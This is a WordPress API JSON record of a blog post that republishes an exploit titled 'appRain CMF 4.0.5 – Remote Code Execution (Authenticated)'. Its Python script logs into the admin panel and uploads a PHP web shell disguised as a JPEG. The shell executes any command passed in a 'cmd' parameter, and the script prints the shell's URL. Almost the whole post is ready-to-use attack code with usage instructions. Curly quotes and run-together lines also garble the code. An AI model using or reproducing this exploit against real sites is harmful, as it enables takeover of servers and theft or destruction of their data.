# Exploit Title: appRain CMF 4.0.5 – Remote Code Execution (RCE) (Authenticated)
# Date: 04\/28\/2024
# Exploit Author: Ahmet \u00dcmit BAYRAM
# Vendor Homepage: https:\/\/www.apprain.org
# Software Link:
https:\/\/github.com\/apprain\/apprain\/archive\/refs\/tags\/v4.0.5.zip
# Version: latest
# Tested on: MacOS<\/p>\n
import requests
import sys
import time
import random
import string<\/p>\n
def generate_filename():
“”” Generate a 5-character random string for filename. “””
return ”.join(random.choices(string.ascii_lowercase, k=5)) + “.inc”<\/p>\n
def login(site, username, password):
print(“Logging in…”)
time.sleep(2)
login_url = f”https:\/\/{site}\/admin\/system”
session = requests.Session()
login_data = {
‘data[Admin][admin_id]’: username,
‘data[Admin][admin_password]’: password
}
headers = {
‘Content-Type’: ‘application\/x-www-form-urlencoded’
}
response = session.post(login_url, data=login_data, headers=headers)
if “Logout” in response.text:
print(“Login Successful!”)
return session
else:
print(“Login Failed!”)
sys.exit()<\/p>\n
def upload_shell(session, site):
print(“Shell preparing…”)
time.sleep(2)
filename = generate_filename()
upload_url = f”https:\/\/{site}\/admin\/filemanager\/upload”
files = {
‘data[filemanager][image]’: (filename, “<html><body><form method=’GET’
name='<?php echo basename($_SERVER[‘PHP_SELF’]); ?>’><input type=’TEXT’
name=’cmd’ autofocus id=’cmd’ size=’80’><input type=’SUBMIT’
value=’Execute’><\/form><pre><?php if(isset($_GET[‘cmd’])){
system($_GET[‘cmd’]); } ?><\/pre><\/body><\/html>”, ‘image\/jpeg’)
}
data = {
‘submit’: ‘Upload’
}
response = session.post(upload_url, files=files, data=data)
if response.status_code == 200 and “uploaded successfully” in response.text:
print(f”Your Shell is Ready: https:\/\/{site}\/uploads\/filemanager\/{filename}”)
else:
print(“Exploit Failed!”)
sys.exit()<\/p>\n
if __name__ == “__main__”:
print(“Exploiting…”)
time.sleep(2)
if len(sys.argv) != 4:
print(“Usage: python exploit.py sitename.com username password”)
sys.exit()
site = sys.argv[1]username = sys.argv[2]password = sys.argv[3]session = login(site, username, password)
upload_shell(session, site)<\/p>\n","protected":false},"excerpt":{"rendered":"
# Exploit Title: appRain CMF 4.0.5 – Remote Code Execution (RCE) (Authenticated)# Date: 04\/28\/2024# Exploit Author: Ahmet \u00dcmit BAYRAM# Vendor Homepage: https:\/\/www.apprain.org# Software Link:https:\/\/github.com\/apprain\/apprain\/archive\/refs\/tags\/v4.0.5.zip# Version: latest# Tested on: MacOS import requestsimport sysimport timeimport randomimport string def generate_filename():“”” Generate a 5-character random string for filename. “””return ”.join(random.choices(string.ascii_lowercase, k=5)) + “.inc” def login(site, username, password):print(“Logging in…”)time.sleep(2)login_url = …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57229","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57229","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57229"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57229\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57229"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57229"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57229"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}